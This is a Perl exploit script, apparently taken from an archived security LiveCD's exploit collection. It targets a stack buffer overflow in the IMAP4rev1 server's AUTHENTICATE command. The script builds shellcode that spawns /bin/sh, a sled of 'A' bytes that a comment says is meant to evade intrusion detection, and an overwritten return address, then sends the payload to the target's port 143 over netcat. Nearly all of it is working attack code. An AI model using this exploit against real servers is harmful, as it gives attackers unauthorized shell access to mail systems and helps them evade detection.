home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imap4.c < prev    next >
Text File  |  2005-02-12  |  1KB  |  42 lines

  1. #!/usr/bin/perl
  2.  
  3. ## * Successfully tested on IMAP4rev1 v10.190 *
  4. ## Written by: teleh0r@doglover.com / anno 2000
  5. ##
  6. ## This is nothing new - just wrote it for fun.
  7.  
  8. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
  9.              "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
  10.              "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
  11.              "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
  12.              "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
  13.              "\x2f\x32\x39\x3e\x2f\x43\x38";
  14.  
  15.  
  16. $len = 1052;       # Sufficient to overwrite the return value.
  17. $nop = A;          # Using A/0x41 as nops to try to fool IDS.
  18. $ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.
  19.  
  20. if (@ARGV < 2) {
  21.     print("Usage: $0 <target> <offset>\n");
  22.     exit(1);
  23. }
  24.  
  25. ($target, $offset) = @ARGV;
  26.  
  27. for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
  28.     $buffer .= $nop;
  29. }
  30.  
  31. $buffer .= $shellcode;
  32. $new_ret = pack('l', ($ret + $offset));
  33.  
  34. for ($i += length($shellcode); $i < $len; $i += 4) {
  35.     $buffer .= $new_ret;
  36. }
  37.  
  38. $exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";
  39.  
  40. system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");
  41.  
  42.